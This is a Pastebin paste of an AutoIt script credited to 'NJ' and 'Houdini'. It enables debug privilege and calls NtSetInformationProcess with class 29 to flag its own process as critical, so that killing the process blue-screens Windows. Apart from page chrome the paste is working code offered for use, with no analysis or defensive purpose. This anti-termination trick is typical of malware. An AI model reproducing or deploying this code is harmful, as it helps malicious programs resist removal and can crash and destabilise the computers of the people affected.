Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #INCLUDE <WINAPI.AU3>
- CALL ("__BSOD_ME")
- FUNC __BSOD_ME ()
- IF NOT @COMPILED THEN EXIT
- MSGBOX (64,"BSOD-ME BY : NJ | RECODED BY : HOUDINI (C)",__BSOD (@SCRIPTNAME,TRUE))
- MSGBOX (64,"BSOD-ME BY : NJ | RECODED BY : HOUDINI (C)",__BSOD (@SCRIPTNAME,FALSE))
- ENDFUNC
- FUNC __BSOD ($PROCESS_NAME,$BSOD_STATUS)
- LOCAL CONST $STATUS_SUCCESS = 0
- LOCAL CONST $BSOD_CLASS = 29
- LOCAL CONST $INFO_LENGTH = 4
- LOCAL CONST $PROCESS_ALL_ACCESS = 0X001F0FFF
- LOCAL $RESULT,$PROCESS_HANDLE,$PROCESS_ID,$BSOD_STRUCT,$BSOD_STRUCT_PTR
- IF NOT CALL ("__DEBUGE_PRIVILEGE",TRUE) THEN RETURN "![>] ERROR : DEBUGE PRIVILEGE OF PROCESS [ "&$PROCESS_NAME&" ] CAN NOT CHANGED"
- $PROCESS_ID = PROCESSEXISTS ($PROCESS_NAME)
- IF $PROCESS_ID = 0 THEN RETURN "![>] ERROR : PROCESS [ "&$PROCESS_NAME&" ] NOT EXIST"
- $PROCESS_HANDLE = _WINAPI_OPENPROCESS ($PROCESS_ALL_ACCESS,TRUE,$PROCESS_ID)
- IF @ERROR THEN RETURN "![>] ERROR : CAN NOT OPEN [ "&$PROCESS_NAME&" ] PROCESS"
- $BSOD_STRUCT = DLLSTRUCTCREATE ("BOOL BSOD_STATUS")
- DLLSTRUCTSETDATA ($BSOD_STRUCT,"BSOD_STATUS",$BSOD_STATUS)
- $BSOD_STRUCT_PTR = DLLSTRUCTGETPTR ($BSOD_STRUCT)
- $RESULT = DLLCALL ("NTDLL.DLL","DWORD","NtSetInformationProcess","HANDLE",$PROCESS_HANDLE,"INT",$BSOD_CLASS,"PTR",$BSOD_STRUCT_PTR,"ULONG",$INFO_LENGTH)
- _WINAPI_CLOSEHANDLE ($PROCESS_HANDLE)
- $BSOD_STRUCT_PTR = 0
- IF $RESULT[0] = $STATUS_SUCCESS THEN
- RETURN "+[>] BSOD OF PROCESS [ "&$PROCESS_NAME&" ] CHANGED WITH NO ERROR"&@CRLF
- ELSE
- RETURN "![>] ERROR : BSOD OF PROCESS [ "&$PROCESS_NAME&" ] NOT CHANGED , ERROR CODE : "&HEX ($RESULT[0],8)
- ENDIF
- ENDFUNC
- FUNC __DEBUGE_PRIVILEGE ($STATUS)
- LOCAL $HTOKEN,$ILASTERROR
- $HTOKEN = _SECURITY__OPENTHREADTOKENEX (BITOR($TOKEN_ADJUST_PRIVILEGES, $TOKEN_QUERY))
- IF @ERROR THEN RETURN SETERROR (@ERROR, @EXTENDED, 0)
- $ILASTERROR = _SECURITY__SETPRIVILEGE($HTOKEN, "SEDEBUGPRIVILEGE",$STATUS)
- _WINAPI_CLOSEHANDLE($HTOKEN)
- RETURN $ILASTERROR
- ENDFUNC
Advertisement
Add Comment
Please, Sign In to add comment